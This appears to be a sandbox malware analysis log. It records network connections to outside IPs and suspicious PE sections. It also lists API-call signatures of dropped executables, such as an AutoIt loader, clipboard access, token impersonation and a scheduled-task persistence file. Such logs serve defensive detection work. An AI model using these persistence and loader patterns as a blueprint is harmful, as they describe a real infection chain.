Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50081 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe

Code function: 14_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

14_2_004050CD

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Code function: 24_2_00D8F5B0 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

24_2_00D8F5B0

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Code function: 24_2_00D8F345 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

24_2_00D8F345

Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe

Code function: 14_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

14_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Code function: 24_2_00DA9B7E DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

24_2_00DA9B7E

System Summary

Binary is likely a compiled AutoIt script file

Source: 0245b5a6ea.exe, 0000001F.00000000.2994344515.0000000000F82000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_2f4fbfe7-0
Source: 0245b5a6ea.exe, 0000001F.00000000.2994344515.0000000000F82000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_49d8453b-c

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsFHCAFIDBKE.exe.0.dr	Static PE information: section name:
Source: DocumentsFHCAFIDBKE.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsFHCAFIDBKE.exe.0.dr	Static PE information: section name:
Source: skotes.exe.10.dr	Static PE information: section name:
Source: skotes.exe.10.dr	Static PE information: section name: .idata
Source: skotes.exe.10.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name: .rsrc
Source: random[1].exe.13.dr	Static PE information: section name: .idata
Source: random[1].exe.13.dr	Static PE information: section name:
Source: 3f69cca2d1.exe.13.dr	Static PE information: section name:
Source: 3f69cca2d1.exe.13.dr	Static PE information: section name: .rsrc
Source: 3f69cca2d1.exe.13.dr	Static PE information: section name: .idata
Source: 3f69cca2d1.exe.13.dr	Static PE information: section name:
Source: random[1].exe0.13.dr	Static PE information: section name:
Source: random[1].exe0.13.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.13.dr	Static PE information: section name: .idata
Source: random[1].exe0.13.dr	Static PE information: section name:
Source: 70da2e822d.exe.13.dr	Static PE information: section name:
Source: 70da2e822d.exe.13.dr	Static PE information: section name: .rsrc
Source: 70da2e822d.exe.13.dr	Static PE information: section name: .idata
Source: 70da2e822d.exe.13.dr	Static PE information: section name:
Source: random[2].exe.13.dr	Static PE information: section name:
Source: random[2].exe.13.dr	Static PE information: section name: .idata
Source: random[2].exe.13.dr	Static PE information: section name:
Source: 57b831f1bb.exe.13.dr	Static PE information: section name:
Source: 57b831f1bb.exe.13.dr	Static PE information: section name: .idata
Source: 57b831f1bb.exe.13.dr	Static PE information: section name:
Source: random[2].exe0.13.dr	Static PE information: section name:
Source: random[2].exe0.13.dr	Static PE information: section name: .idata
Source: 5bebd091e2.exe.13.dr	Static PE information: section name:
Source: 5bebd091e2.exe.13.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C5EED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C62B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C62B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C62B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5CF280

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Code function: 24_2_00D84635: GetFullPathNameW,_wcslen,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,

24_2_00D84635

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Code function: 24_2_00D71A7B LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

24_2_00D71A7B

Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Code function: 14_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,		14_2_00403883
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D7F0CD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		24_2_00D7F0CD

Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	File created: C:\Windows\Tasks\skotes.job			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	File created: C:\Windows\HeroesMistakes			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C35A0	0_2_6C5C35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D5440	0_2_6C5D5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63545C	0_2_6C63545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63542B	0_2_6C63542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63AC00	0_2_6C63AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C605C10	0_2_6C605C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C612C10	0_2_6C612C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED4D0	0_2_6C5ED4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C606CF0	0_2_6C606CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D64C0	0_2_6C5D64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CD4E0	0_2_6C5CD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6234A0	0_2_6C6234A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62C4A0	0_2_6C62C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D6C80	0_2_6C5D6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F0512	0_2_6C5F0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EED10	0_2_6C5EED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DFD00	0_2_6C5DFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6285F0	0_2_6C6285F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C600DD0	0_2_6C600DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636E63	0_2_6C636E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E9E50	0_2_6C5E9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E4640	0_2_6C5E4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CC670	0_2_6C5CC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C612E4E	0_2_6C612E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C603E50	0_2_6C603E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C629E30	0_2_6C629E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615600	0_2_6C615600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C607E10	0_2_6C607E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6376E3	0_2_6C6376E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CBEF0	0_2_6C5CBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DFEF0	0_2_6C5DFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C624EA0	0_2_6C624EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5E90	0_2_6C5E5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62E680	0_2_6C62E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D9F00	0_2_6C5D9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C607710	0_2_6C607710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F6FF0	0_2_6C5F6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CDFE0	0_2_6C5CDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6177A0	0_2_6C6177A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8850	0_2_6C5E8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED850	0_2_6C5ED850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60F070	0_2_6C60F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B820	0_2_6C60B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C614820	0_2_6C614820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D7810	0_2_6C5D7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6058E0	0_2_6C6058E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6350C7	0_2_6C6350C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EC0E0	0_2_6C5EC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F60A0	0_2_6C5F60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61B970	0_2_6C61B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63B170	0_2_6C63B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EA940	0_2_6C5EA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DD960	0_2_6C5DD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FD9B0	0_2_6C5FD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C605190	0_2_6C605190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C622990	0_2_6C622990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CC9A0	0_2_6C5CC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C609A60	0_2_6C609A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60E2F0	0_2_6C60E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C608AC0	0_2_6C608AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E1AF0	0_2_6C5E1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C632AB0	0_2_6C632AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DCAB0	0_2_6C5DCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63BA90	0_2_6C63BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C22A0	0_2_6C5C22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F4AA0	0_2_6C5F4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C5340	0_2_6C5C5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DC370	0_2_6C5DC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60D320	0_2_6C60D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6353C8	0_2_6C6353C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CF380	0_2_6C5CF380
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_0091E530	13_2_0091E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_009578BB	13_2_009578BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_00957049	13_2_00957049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_00958860	13_2_00958860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_009531A8	13_2_009531A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_00914DE0	13_2_00914DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_00952D10	13_2_00952D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_00989680	13_2_00989680
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_0095779B	13_2_0095779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_00914B30	13_2_00914B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_00947F36	13_2_00947F36
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Code function: 14_2_0040497C	14_2_0040497C
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Code function: 14_2_00406ED2	14_2_00406ED2
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Code function: 14_2_004074BB	14_2_004074BB
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D380C7	24_2_00D380C7
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D32097	24_2_00D32097
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D121FD	24_2_00D121FD
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D32352	24_2_00D32352
